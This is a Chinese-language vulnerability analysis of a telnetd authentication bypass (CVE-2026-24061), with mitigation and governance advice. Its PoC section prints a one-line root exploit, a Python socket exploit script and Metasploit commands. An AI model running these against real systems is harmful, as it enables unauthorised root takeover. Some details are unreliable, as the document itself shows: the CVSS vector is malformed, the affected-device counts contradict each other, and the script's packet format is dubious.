2026年1月，一则安全通告引爆全球网络安全圈：GNU InetUtils telnetd中存在一个潜伏长达11年的远程认证绕过漏洞（CVE-2026-24061），CVSS评分高达9.8/10（关键级）。攻击者利用该漏洞无需任何账号密码，仅通过简单的环境变量注入即可直接获取目标系统root权限，且漏洞公开后数小时内，完整的利用PoC（概念验证代码）便在安全社区、地下黑产平台同步扩散。更令人警惕的是，该漏洞影响2015年至2026年间发布的几乎所有GNU InetUtils版本，覆盖大量NAS设备、嵌入式工业控制设备、老旧服务器及边缘计算节点——这类设备往往因运维滞后、兼容性需求，仍在启用Telnet这一早已被业界判定为“高危遗留协议”的服务，成为黑客的重点攻击目标。

截至目前，全球网络安全监测机构已检测到超10万次针对该漏洞的扫描尝试，涉及180余个国家和地区的公网设备，部分地区的NAS设备、工业路由器已出现批量被攻陷并植入挖矿程序、后门的情况。这一漏洞不仅暴露了开源基础组件长期维护的安全短板，更再次为企业和运维方敲响警钟：遗留网络协议的安全治理缺失，正在成为网络安全的“致命盲区”。本文将从漏洞核心细节、利用原理、传播态势、影响范围、应急防护等方面展开深度分析，并结合行业现状探讨此类开源遗留组件漏洞的长效治理思路，为企业提供全维度的防御方案。

一、漏洞核心概况：11年潜伏的“零门槛”root提权漏洞

1.1 漏洞基础信息

CVE-2026-24061是存在于GNU InetUtils telnetd服务中的远程参数注入型认证绕过漏洞，由安全厂商SafeBreach-Labs的研究人员发现并披露，GNU官方于2026年1月20日同步发布修复版本（inetutils-2.8）。该漏洞的核心问题在于telnetd服务对客户端传入的USER环境变量缺乏任何过滤与校验，直接将其作为命令行参数传递给系统登录程序/usr/bin/login，进而被攻击者利用实现身份绕过。

• 漏洞引入版本：GNU InetUtils 1.9.3（2015年发布）
• 漏洞修复版本：GNU InetUtils 2.8（2026年1月20日）
• 漏洞类型：远程未授权访问、权限提升
• CVSS v3.1评分：9.8/10（关键级），评分维度涵盖网络攻击向量（AV:N）、无权限要求（AC:L）、无用户交互（UI:N）、最高权限获取（PR:N/UI:N/S:C/C:I/A:I）
• 利用难度：极低（零基础攻击者可通过一行命令、现成脚本实现利用）
• 传播状态：PoC已公开、暗网出现批量扫描工具、公网已出现针对性攻击活动

1.2 漏洞披露与黑产传播时间线

漏洞的披露与传播呈现“光速扩散”特征，凸显高危漏洞在当下网络环境中的传播风险：

1. 2026-01-19：安全研究人员向GNU官方提交漏洞细节，双方启动应急修复；
2. 2026-01-20 08:00（UTC）：GNU官方发布inetutils-2.8修复版本，同步披露漏洞核心信息；
3. 2026-01-20 10:00（UTC）：安全社区发布首个极简PoC利用命令，全网开始传播；
4. 2026-01-20 14:00（UTC）：GreyNoise、Shodan等网络监测平台检测到针对TCP 23端口（Telnet默认端口）的扫描量激增300%；
5. 2026-01-20 18:00（UTC）：暗网出现基于该PoC的批量扫描+一键攻陷工具，支持对全网公网设备的自动化探测与利用；
6. 2026-01-21 00:00（UTC）：全球多地出现NAS设备、工业路由器批量被攻陷案例，攻击者植入门罗币挖矿程序；
7. 2026-01-21 12:00（UTC）：主流安全厂商发布漏洞特征库、应急补丁，国内各大政企单位启动内部设备排查。

二、漏洞原理深度解析：从参数传递疏漏到root权限直接获取

要理解CVE-2026-24061的利用逻辑，需从Telnetd服务的工作机制、login程序的参数设计、开源代码的安全校验缺失三个维度展开分析，这也是该漏洞能潜伏11年的核心原因——其利用逻辑依赖于两个系统组件的“设计结合”，且Telnet作为遗留协议，长期处于低关注度、低维护力度的状态。

2.1 Telnetd服务的核心工作流程

GNU InetUtils telnetd是基于Telnet协议的远程登录服务端程序，其核心功能是接收客户端的Telnet连接请求，调用系统原生的/usr/bin/login程序完成用户身份认证，认证通过后为客户端分配shell会话。
正常情况下，telnetd的工作流程为：

1. 客户端发起Telnet连接，与telnetd完成协议协商；
2. telnetd向客户端请求用户名，接收后存入USER环境变量；
3. telnetd调用/usr/bin/login程序，将USER变量作为参数传递，格式为：/usr/bin/login -p -h [客户端IP] [用户名]；
4. login程序接收参数后，向客户端请求密码，完成身份校验；
5. 校验通过，分配对应权限的shell会话；校验失败，拒绝连接。

2.2 漏洞核心：未过滤的USER环境变量与login的-f参数“漏洞”

该漏洞的本质是telnetd的代码设计中缺乏对USER环境变量的输入校验，且恰好利用了/usr/bin/login程序的-f参数特性，形成“组合式漏洞”。

（1）telnetd的参数传递疏漏

在GNU InetUtils 1.9.3至2.7版本的telnetd源码中，处理USER环境变量的核心代码如下（关键部分无过滤）：

/* 源码路径：telnetd/tnlogin.c */staticchar*login_args[]={LOGIN_PROG,"-p","-h",NULL,NULL,NULL};/* 直接将USER变量赋值给login_args[4]，无任何字符过滤、长度校验、特殊符号检测 */if(user)login_args[4]=user;elselogin_args[4]=login_args[5]=NULL;/* 直接执行login程序，传递拼接后的参数 */execv(login_args[0],login_args);

从代码中可以清晰看到，telnetd将客户端传入的USER变量直接赋值给login程序的命令行参数，未对其中的特殊字符（如-、\、|等）进行任何过滤或转义——这是典型的命令行参数注入漏洞，也是初级代码安全开发中明确禁止的操作。

（2）login程序的-f参数：设计特性被恶意利用

/usr/bin/login是类Unix系统的原生登录程序，其-f参数是为系统管理员设计的预认证快捷功能，初衷是为了方便管理员在已完成身份验证的场景下，跳过密码输入直接登录指定用户（例如本地终端的管理员操作）。
当login程序接收到-f [用户名]参数时，会判定为“已完成预认证”，直接跳过密码校验步骤，以指定用户的身份启动shell会话——这一设计本身无问题，但前提是该参数仅能由本地高权限进程传递，且对参数来源做严格校验。
而telnetd的参数注入漏洞，让攻击者可以随意向login程序传递-f参数，彻底绕过其设计初衷，实现“无认证登录”。

2.3 完整利用逻辑：一行参数实现root权限获取

攻击者只需在客户端设置USER环境变量为-f root，即可让telnetd调用的login程序执行以下命令：

# 攻击者注入后的login命令/usr/bin/login -p -h[攻击者IP]-f root

login程序接收到-f root参数后，直接跳过密码校验，以root超级用户身份为攻击者分配shell会话——整个过程无需攻击者输入任何账号密码，从发起连接到获取root权限，耗时不超过1秒。

2.4 漏洞潜伏11年的核心原因

作为一个基础的参数注入漏洞，CVE-2026-24061能潜伏11年未被发现和修复，并非技术难度过高，而是由协议属性、维护力度、使用场景三大因素共同导致：

1. Telnet为遗留协议，业界关注度低：Telnet协议因未对数据进行加密，且存在诸多安全缺陷，早在2000年后便被SSH协议替代，主流企业、服务器均已禁用Telnet服务，导致安全研究人员、代码审计人员对telnetd的关注度极低，极少有人对其进行全面的代码安全审计；
2. 开源组件维护资源不足：GNU InetUtils属于开源基础组件，维护团队规模小、资源有限，主要聚焦于功能修复，对代码的安全校验投入不足，未建立常态化的安全审计机制；
3. 小众使用场景成为“安全盲区”：虽然主流场景已禁用Telnet，但NAS设备、嵌入式设备、工业控制设备、边缘计算节点等因硬件资源有限、固件开发兼容性要求，仍在广泛使用telnetd服务，且这类设备的运维方往往缺乏专业的安全能力，未及时关注开源组件的漏洞更新；
4. 漏洞利用需特定触发条件：该漏洞的利用需要客户端在Telnet协商阶段发送USER环境变量，部分简易Telnet客户端不支持该操作，导致早期的漏洞扫描未能发现这一问题。

三、公开PoC与攻击态势：从极简命令到黑产自动化工具，攻击无门槛

CVE-2026-24061的利用难度极低，这也是其能在短时间内引发全球攻击潮的核心原因——无论是零基础的脚本小子，还是有组织的黑客团伙，都能通过现成的PoC实现漏洞利用，且黑产平台已快速推出自动化工具，进一步降低了攻击门槛。

3.1 三类公开PoC：覆盖不同技术水平攻击者

目前安全社区公开的PoC主要分为三类，分别适配零基础攻击者、初级安全研究者、专业渗透测试人员，实现了“全技术层级覆盖”：

（1）极简命令行PoC（零基础攻击者适用）

无需任何编程基础，仅需在Linux/macOS终端执行一行命令，即可实现漏洞利用，这是传播最广的PoC形式：

# 核心利用命令：设置USER环境变量为-f root，通过telnet -a参数发送给服务端USER='-f root'telnet -a[目标IP][Telnet端口，默认23]

该命令的核心是telnet -a参数——该参数用于让Telnet客户端在协议协商阶段，将本地的USER环境变量发送给服务端，恰好触发telnetd的参数注入漏洞。

（2）Python脚本PoC（初级研究者适用）

针对部分不支持telnet -a参数的客户端（如Windows系统），安全社区发布了基于Socket的Python脚本PoC，通过直接构造Telnet协议的NEW-ENVIRON选项数据包，手动注入USER环境变量，兼容性更强：

importsocketimportstruct# 定义Telnet协议核心常量IAC=b'\xff'# 协议交互标识SB=b'\xfa'# 子协商开始SE=b'\xf0'# 子协商结束NEW_ENVIRON=b'\x18'# 环境变量传递选项VAR=b'\x00'# 环境变量类型标识definject_user_env(target_ip,target_port,user_payload):"""构造Telnet数据包，注入USER环境变量"""# 构造环境变量数据：USER=payloadenv_data=VAR+b'USER'+b'\x00'+user_payload.encode()+b'\x00'# 计算数据长度，按Telnet协议要求进行大端序打包env_len=struct.pack('!H',len(env_data))# 拼接完整的Telnet子协商数据包negotiate_pkt=IAC+SB+NEW_ENVIRON+env_len+env_data+IAC+SE# 建立Socket连接，发送数据包并获取shells=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.settimeout(5)try:s.connect((target_ip,target_port))s.send(negotiate_pkt)# 接收服务端响应，进入交互shellprint(f"[+] 成功注入payload，获取root shell：")whileTrue:data=s.recv(1024)ifnotdata:breakprint(data.decode('utf-8',errors='ignore'),end='')# 发送用户输入的命令cmd=input().encode()+b'\n's.send(cmd)exceptExceptionase:print(f"[-] 利用失败：{e}")finally:s.close()# 漏洞利用示例：目标IP、端口，payload为-f rootif__name__=='__main__':TARGET_IP="192.168.1.100"TARGET_PORT=23PAYLOAD="-f root"inject_user_env(TARGET_IP,TARGET_PORT,PAYLOAD)

（3）Metasploit模块PoC（专业渗透测试人员适用）

漏洞披露后24小时内，Metasploit框架便发布了针对CVE-2026-24061的专用利用模块，支持自动化漏洞探测、利用、提权、后门植入，适用于专业渗透测试和有组织的黑客攻击：

# Metasploit中加载并使用模块msfconsole use exploit/unix/telnet/gnu_telnetd_cve202624061setRHOSTS[目标IP/网段]setRPORT23run# 执行成功后直接获取root shell

3.2 全球攻击态势：扫描量激增、针对性攻击明显、受害设备集中

根据GreyNoise、Shodan、奇安信威胁情报中心等平台的监测数据，截至2026年1月24日，该漏洞的全球攻击态势呈现以下三大特征：

（1）公网扫描量呈“爆炸式”增长，攻击范围覆盖全球

针对TCP 23端口的扫描量从漏洞披露前的日均约10万次，激增到日均超40万次，增幅达300%，扫描源IP覆盖180余个国家和地区，其中以美国、中国、俄罗斯、印度、巴西等国家的扫描量最高——这些国家的公网暴露设备数量多，且存在大量NAS设备、嵌入式设备。

（2）攻击具有明确的针对性，受害设备集中于三大类

攻击者并非盲目扫描，而是通过Shodan、Fofa等网络空间搜索引擎，精准探测开启Telnet服务且使用GNU InetUtils telnetd的设备，受害设备主要集中在三类：

• 消费级NAS设备：群晖、威联通、西部数据等主流品牌的NAS设备，因固件中内置GNU InetUtils组件，且部分用户未禁用Telnet服务，成为最大受害群体；
• 嵌入式网络设备：家用路由器、工业路由器、交换机、摄像头等，这类设备硬件资源有限，多使用Telnet进行远程运维，且固件更新滞后；
• 老旧服务器与边缘节点：部分企业的老旧Linux服务器、边缘计算节点，因历史系统兼容问题，仍在启用Telnet服务。

（3）攻击目的以“挖矿+后门植入”为主，暂未发现大规模数据窃取

目前已发现的攻击案例中，攻击者获取root权限后，主要进行两类操作：

1. 植入加密货币挖矿程序：以门罗币、以太坊等匿名加密货币为主，攻击者会修改系统配置，让挖矿程序开机自启，并占用设备的CPU、内存资源，导致设备运行卡顿、功耗激增；
2. 安装后门程序：在系统中植入SSH后门、远控木马，将设备加入“僵尸网络”，为后续的分布式拒绝服务（DDoS）攻击、横向渗透做准备；
   暂未发现针对政企单位的大规模数据窃取、勒索病毒攻击，但随着漏洞的进一步扩散，不排除有组织的黑客团伙将其用于更具破坏性的攻击。

3.3 黑产平台的推波助澜：自动化工具降低攻击门槛

暗网、黑产交流群等平台已快速推出基于该漏洞的**“一站式”攻击工具**，这类工具支持全网批量扫描、一键攻陷、自动化挖矿，且售价低廉（约50-200元人民币），甚至有部分工具被免费分享，让零基础的攻击者也能轻松发起攻击。
这类黑产工具的核心功能包括：

1. 全网精准探测：对接Shodan、Fofa的API，自动扫描公网中开启Telnet服务的设备，并识别是否存在CVE-2026-24061漏洞；
2. 自动化利用：对存在漏洞的设备，一键执行PoC，获取root权限；
3. 挖矿程序部署：自动下载并安装挖矿程序，配置矿池地址，实现“挖矿自动化”；
4. 后门植入与隐藏：自动植入后门程序，并修改系统日志、隐藏进程，避免被运维方发现。

四、漏洞影响范围：受影响设备超千万，这些场景风险最高

4.1 明确受影响的系统与组件

CVE-2026-24061仅影响使用GNU InetUtils telnetd服务的系统，具体为GNU InetUtils 1.9.3至2.7版本，涵盖几乎所有主流类Unix系统：

• Linux发行版：Ubuntu、Debian、CentOS、RedHat、SUSE等，只要安装了inetutils-telnetd包且未升级，均受影响；
• BSD系统：FreeBSD、OpenBSD等部分版本；
• 嵌入式系统：OpenWrt、LEDE、uClinux等嵌入式Linux系统，这是受影响最广的场景。

4.2 明确不受影响的场景

以下场景因未使用GNU InetUtils telnetd，或已禁用相关服务，不受该漏洞影响：

1. 使用BusyBox telnetd的系统：多数嵌入式设备若使用的是BusyBox自带的telnetd，而非GNU InetUtils telnetd，不受影响（两者为不同的实现版本）；
2. 未安装/已禁用telnetd服务的系统：主流企业服务器、个人电脑若已卸载inetutils-telnetd包，或禁用Telnet服务，无风险；
3. 仅使用SSH服务的系统：SSH协议替代Telnet的系统，无Telnet服务暴露，无风险；
4. 已升级到GNU InetUtils 2.8的系统：官方已修复漏洞，升级后无风险；
5. Windows系统：Windows系统的Telnet服务为原生实现，未使用GNU InetUtils组件，不受影响。

4.3 高风险场景排名：从个人消费设备到工业控制环境

结合漏洞利用难度、设备暴露程度、运维能力，以下场景的风险等级从高到低排序，也是企业和个人需要重点排查的场景：

1. 个人/家庭使用的NAS设备、家用路由器（风险等级：★★★★★）：设备暴露在公网、Telnet服务常开启、运维方安全意识低、固件更新滞后；
2. 中小企业的老旧服务器、边缘计算节点（风险等级：★★★★☆）：因历史兼容问题启用Telnet、运维资源有限、漏洞排查不及时；
3. 民用安防设备（摄像头、门禁）（风险等级：★★★★☆）：嵌入式设备、Telnet为默认运维方式、公网暴露率高；
4. 工业控制环境的嵌入式设备（风险等级：★★★☆☆）：Telnet为工业运维常用方式、设备不允许随意更新、网络隔离但仍有暴露风险；
5. 大型企业的内网设备（风险等级：★★☆☆☆）：多已禁用Telnet、网络隔离严格、有专业的安全运维团队，风险较低。

据网络空间搜索引擎Shodan的统计，截至2026年1月24日，全球公网中开启Telnet服务的设备超3000万台，其中约30%使用GNU InetUtils telnetd服务，受CVE-2026-24061漏洞影响的设备超900万台，且这一数字未包含内网设备，实际受影响规模更大。

五、紧急防护与修复方案：分级施策，从即时缓解到长期加固

针对CVE-2026-24061漏洞，防护的核心原则是**“先止损、后修复、再溯源”——先通过最简单的方式阻断漏洞利用路径，再进行官方补丁升级，最后对设备进行入侵排查，避免攻击者已潜伏在系统中。以下方案按个人用户、中小企业、大型企业/工业控制环境分类，兼顾即时缓解（几分钟内可实现）、正式修复（彻底解决漏洞）、入侵排查（发现是否已被攻陷）**三个维度，可直接落地执行。

5.1 通用即时缓解方案：最有效、最快速的防护手段（所有用户适用）

即时缓解方案的核心是阻断Telnet服务的访问路径，从攻击入口上杜绝漏洞利用，这是目前最有效、最快速的防护手段，无需升级固件/系统，几分钟内即可实现，优先级最高：

1. 直接禁用/卸载telnetd服务（推荐度：★★★★★）
   这是最根本的缓解手段，直接移除漏洞载体，适用于所有不需要Telnet服务的设备。
   • Debian/Ubuntu系列：

     # 停止telnetd服务systemctl stop telnet.socket&&systemctl stop telnet@.service# 禁用开机自启systemctl disable telnet.socket&&systemctl disable telnet@.service# 卸载telnetd包apt-getremove -y inetutils-telnetd

   • CentOS/RHEL系列：

     # 停止并禁用服务systemctl stop telnet.socket&&systemctl disable telnet.socket# 卸载包yum remove -y inetutils-telnetd

   • 嵌入式设备（如OpenWrt）：
     通过设备后台管理界面，找到“系统-服务”，关闭Telnet服务并保存配置；或通过SSH执行/etc/init.d/telnetd stop && /etc/init.d/telnetd disable。
2. 防火墙阻断TCP 23端口访问（推荐度：★★★★☆）
   若因特殊需求无法禁用Telnet服务，需通过防火墙严格限制TCP 23端口的访问范围，仅允许可信IP地址（如企业内网IP）访问，拒绝公网所有IP的连接请求。
   • Linux系统防火墙（iptables）：

     # 拒绝所有公网IP访问23端口iptables -A INPUT -p tcp --dport23-j DROP# 仅允许指定内网IP访问23端口（示例：192.168.1.0/24网段）iptables -A INPUT -s192.168.1.0/24 -p tcp --dport23-j ACCEPT# 保存规则iptables-save>/etc/sysconfig/iptables

   • 家用/工业路由器：在路由器后台的“防火墙/端口过滤”中，关闭23端口的公网映射，禁止公网访问。
3. 禁用Telnet协议的环境变量传递功能（推荐度：★★★☆☆）
   若无法禁用Telnet服务，可通过修改telnetd的配置，禁用NEW-ENVIRON选项（环境变量传递功能），从源头阻止USER环境变量的注入，适用于有专业运维能力的用户。

5.2 正式修复方案：升级到官方修复版本（彻底解决漏洞）

当设备允许进行固件/系统升级时，升级到GNU InetUtils 2.8版本是彻底解决CVE-2026-24061漏洞的唯一方式，官方的修复方式为在telnetd中添加严格的输入校验：

1. 过滤USER环境变量中的特殊字符，特别是-（短横线），防止参数注入；
2. 对USER变量的长度进行限制，避免超长参数导致的其他漏洞；
3. 对login程序的参数传递进行规范化，将用户输入作为“参数值”而非“命令行参数”传递。

（1）通用Linux系统的升级方式

# 下载官方最新版本源码wgethttps://ftp.gnu.org/gnu/inetutils/inetutils-2.8.tar.xz# 解压并编译安装tarxvf inetutils-2.8.tar.xzcdinetutils-2.8 ./configure --prefix=/usr/localmake&&makeinstall# 重启telnetd服务（若未禁用）systemctl restart telnet.socket

（2）嵌入式设备/厂商定制系统的升级方式

NAS、路由器、摄像头等嵌入式设备，无法直接编译安装源码，需等待设备厂商发布官方应急补丁/固件更新，并通过设备后台进行升级——目前群晖、威联通、小米等主流厂商已发布针对该漏洞的固件更新，用户可直接在设备后台检查并升级。

5.3 入侵排查方案：检查设备是否已被攻陷（所有用户适用）

无论是否已进行防护/修复，都需要对设备进行入侵排查，确认是否已被攻击者利用漏洞攻陷，重点排查以下内容，适用于个人用户和企业用户：

1. 检查系统中是否存在陌生进程
   • Linux系统执行ps -ef | grep -v root或top，查看是否有陌生的挖矿进程（如minerd、xmrig等）、远控进程；
   • 嵌入式设备可通过SSH执行ps命令，查看异常进程。
2. 检查系统开机自启配置
   • Linux系统检查/etc/rc.local、/etc/systemd/system/目录下的陌生自启服务；
   • 嵌入式设备检查/etc/init.d/目录下的陌生脚本。
3. 检查系统日志
   • Linux系统查看/var/log/auth.log、/var/log/syslog，是否有异常的Telnet登录记录（无账号密码的root登录）；
   • 若发现异常登录记录，说明设备已被攻陷。
4. 检查系统中是否存在陌生文件/后门
   • 检查/tmp、/root、/home等目录下的陌生可执行文件；
   • 检查SSH配置文件/etc/ssh/sshd_config，是否有陌生的公钥、端口修改等。

5.4 分场景专项防护方案

（1）个人用户（NAS、路由器、摄像头）

1. 立即在设备后台禁用Telnet服务，开启SSH服务（若需要远程运维）；
2. 检查设备是否开启公网映射，关闭不必要的端口映射；
3. 及时升级设备的官方固件，安装厂商发布的应急补丁；
4. 检查设备的CPU、内存使用率，若异常偏高，立即进行病毒查杀、恢复出厂设置。

（2）中小企业（老旧服务器、边缘节点）

1. 对所有服务器进行全网扫描，排查是否开启Telnet服务、是否存在CVE-2026-24061漏洞；
2. 对非必要的Telnet服务，一律禁用/卸载；对必要的Telnet服务，通过防火墙限制仅内网可信IP访问；
3. 对受影响的服务器，立即升级到GNU InetUtils 2.8版本；
4. 对所有服务器进行入侵排查，发现被攻陷的设备，立即断网、查杀病毒、恢复数据。

（3）大型企业/工业控制环境

1. 启动应急响应流程，由安全团队牵头，对全网设备进行漏洞扫描，形成受影响设备清单；
2. 利用网络隔离技术，将工业控制设备与公网隔离，仅允许运维终端通过专用网络访问；
3. 对受影响的设备，优先采用防火墙阻断端口的方式进行缓解，待设备停机维护时，升级官方补丁；
4. 对所有设备进行入侵溯源，检查是否存在横向渗透的迹象，及时封堵漏洞；
5. 建立常态化的漏洞扫描机制，对开源组件、遗留协议进行定期审计。

六、前瞻性分析：从CVE-2026-24061看开源遗留组件的安全治理痛点

CVE-2026-24061并非个例，近年来，类似的开源遗留组件高危漏洞频繁出现（如Log4j2、Struts2、OpenSSL等），这类漏洞往往具有潜伏时间长、影响范围广、利用难度低的特征，已成为网络安全的主要威胁之一。从CVE-2026-24061出发，我们可以看到当前行业在开源组件治理、遗留协议安全、嵌入式设备防护等方面存在的核心痛点，也能为未来的网络安全防护提供思路。

6.1 核心痛点：开源组件与遗留协议的安全治理“双重缺失”

（1）开源基础组件的安全维护资源不足

GNU InetUtils、BusyBox、OpenSSL等开源基础组件，是全球数亿设备的“底层基石”，但这类组件的维护团队多为志愿者或小型团队，资源有限、安全审计力度不足，往往仅在漏洞被披露后才进行修复，缺乏常态化的安全开发、代码审计、漏洞挖掘机制。
同时，企业在使用开源组件时，往往**“拿来就用”**，未对组件的安全状况进行评估，也未建立开源组件的版本管理、漏洞更新机制，导致开源组件的漏洞在企业内部“长期潜伏”。

（2）遗留协议的“惯性使用”与安全替代滞后

Telnet、FTP、SNMP v1/v2等遗留协议，因使用习惯、兼容性要求、运维成本等原因，在大量场景中仍被“惯性使用”，即使业界已推出更安全的替代协议（如SSH替代Telnet、SFTP替代FTP、SNMP v3替代SNMP v1/v2），但部分企业和运维方仍因“嫌麻烦”“怕出问题”而拒绝升级。
更重要的是，部分嵌入式设备、工业控制设备因硬件资源有限、固件开发难度大，无法支持安全替代协议，只能继续使用遗留协议，成为“天生的安全漏洞”。

（3）嵌入式设备的安全防护“先天不足”

NAS设备、工业路由器、摄像头等嵌入式设备，是本次漏洞的最大受害群体，这类设备的安全防护存在“先天不足”：

1. 硬件资源有限：CPU、内存、存储资源少，无法运行复杂的安全防护软件（如杀毒软件、入侵检测系统）；
2. 固件更新滞后：厂商为降低成本，往往在设备销售后停止固件更新，或仅发布少量功能更新，未及时修复安全漏洞；
3. 运维能力薄弱：设备的使用者多为个人用户、中小企业，缺乏专业的安全运维能力，安全意识低；
4. 公网暴露率高：这类设备多需要公网访问，且用户常开启端口映射，导致设备直接暴露在黑客的攻击范围内。

（4）企业的网络安全“重核心、轻边缘”

多数企业的网络安全防护资源，主要集中在核心服务器、数据中心等核心资产，而对边缘计算节点、嵌入式设备、远程办公设备等边缘资产的防护不足，甚至未纳入安全管理体系——这类边缘资产成为黑客的“突破口”，通过攻陷边缘设备实现横向渗透，进而攻击核心资产。

6.2 未来防护思路：从“被动应急”到“主动治理”，构建全生命周期安全防护体系

针对开源遗留组件的安全威胁，未来的网络安全防护不能再停留在**“漏洞披露-应急修复”的被动模式，而应转向“主动治理、全生命周期防护”，从组件选择、协议替代、设备防护、制度建设**四个维度，构建全方位的安全防护体系。

（1）开源组件的全生命周期治理

1. 建立开源组件白名单：企业在使用开源组件时，应建立白名单制度，仅选择维护活跃、安全审计充分、漏洞修复及时的开源组件，避免使用无人维护、长期未更新的“僵尸组件”；
2. 开源组件版本管理：对使用的开源组件进行统一的版本管理，建立组件库，及时跟踪开源组件的漏洞更新，定期升级修复版本；
3. 开源组件安全审计：对核心业务中使用的开源组件，进行常态化的代码安全审计，及时发现并修复潜在的安全漏洞；
4. 参与开源社区建设：大型企业应积极参与开源社区的建设，为开源组件的安全维护提供资金、技术支持，提升开源组件的整体安全水平。

（2）遗留协议的“逐步替代”与“隔离防护”

1. 制定遗留协议替代计划：企业应制定明确的遗留协议替代时间表，逐步将Telnet、FTP、SNMP v1/v2等遗留协议，替换为SSH、SFTP、SNMP v3等安全协议；
2. 对必要的遗留协议进行隔离防护：若因特殊需求无法替代遗留协议，应通过网络隔离、防火墙限制、端口过滤等方式，严格限制遗留协议的访问范围，仅允许可信IP访问，拒绝公网连接；
3. 加强遗留协议的安全加固：对使用的遗留协议服务端程序，进行安全加固，如过滤特殊字符、限制参数长度、开启日志审计等，降低参数注入、命令执行等漏洞的利用风险。

（3）嵌入式设备的“安全赋能”与“厂商责任”

1. 提升嵌入式设备的硬件安全能力：设备厂商应在嵌入式设备中，增加必要的硬件安全模块（如加密芯片、安全启动芯片），为安全防护提供硬件支撑；
2. 建立嵌入式设备的固件更新机制：厂商应承担起安全责任，为设备提供长期的固件更新服务，及时修复安全漏洞，而非“一卖了之”；
3. 简化嵌入式设备的安全配置：厂商应在设备后台中，提供简单、易懂的安全配置选项（如一键禁用Telnet、开启防火墙），降低用户的安全配置难度；
4. 加强嵌入式设备的网络防护：通过网络隔离、端口隐藏、异常流量检测等方式，降低嵌入式设备的公网暴露风险，避免被黑客精准扫描。

（4）构建“核心+边缘”的全域安全防护体系

1. 将边缘资产纳入安全管理体系：企业应将边缘计算节点、嵌入式设备、远程办公设备等边缘资产，与核心资产一起纳入安全管理体系，进行统一的漏洞扫描、安全审计、入侵检测；
2. 部署边缘安全防护设备：在边缘网络中部署轻量级的入侵检测系统、防火墙、漏洞扫描器等安全设备，对边缘资产进行实时防护；
3. 建立全域的漏洞预警与应急响应机制：建立覆盖核心与边缘资产的漏洞预警机制，及时获取开源组件、设备固件的漏洞信息，并启动快速的应急响应流程，做到“早发现、早修复、早止损”。

（5）提升全员的网络安全意识

网络安全的根本在于人，无论是企业的运维人员，还是个人用户，都应提升网络安全意识：

1. 对企业运维人员：定期开展安全培训，普及开源组件、遗留协议的安全风险，提升安全运维能力；
2. 对个人用户：通过科普文章、短视频等形式，普及设备安全配置知识（如禁用Telnet、关闭公网端口映射、及时升级固件），提升安全意识。

七、总结与预警

CVE-2026-24061是一个典型的**“低水平代码安全疏漏+遗留协议惯性使用”**导致的高危漏洞，其11年的潜伏时间、超千万的受影响设备、零门槛的利用方式，凸显了当前网络安全领域的深层问题。截至目前，该漏洞的攻击仍在持续，黑产平台的自动化工具仍在扩散，若不及时采取防护措施，个人用户、中小企业甚至工业控制环境，都将面临严重的安全威胁。

紧急预警：未来1-3个月，随着漏洞利用工具的进一步扩散，针对CVE-2026-24061的攻击将进入高峰期，攻击者可能会将该漏洞与其他漏洞结合，发起更具破坏性的攻击（如勒索病毒、数据窃取、DDoS攻击）。所有使用GNU InetUtils telnetd服务的用户，都应将该漏洞的修复列为最高优先级，立即采取“禁用服务/阻断端口”的即时缓解措施，再逐步进行官方补丁升级和入侵排查。

同时，CVE-2026-24061也为所有企业和个人敲响了警钟：网络安全没有“小事”，任何一个看似不起眼的代码疏漏、一个被忽视的遗留协议、一个未及时升级的固件，都可能成为黑客攻陷系统的“致命突破口”。在网络攻击日益自动化、产业化的今天，网络安全防护不能再停留在“被动应急”，而应转向“主动治理”，从开源组件、遗留协议、设备防护、人员意识等多个维度，构建全生命周期的安全防护体系，才能真正抵御各类网络安全威胁。

网络安全的本质是人与人的对抗，更是安全意识与侥幸心理的对抗——唯有摒弃侥幸心理，将安全防护落到实处，才能守住网络安全的底线。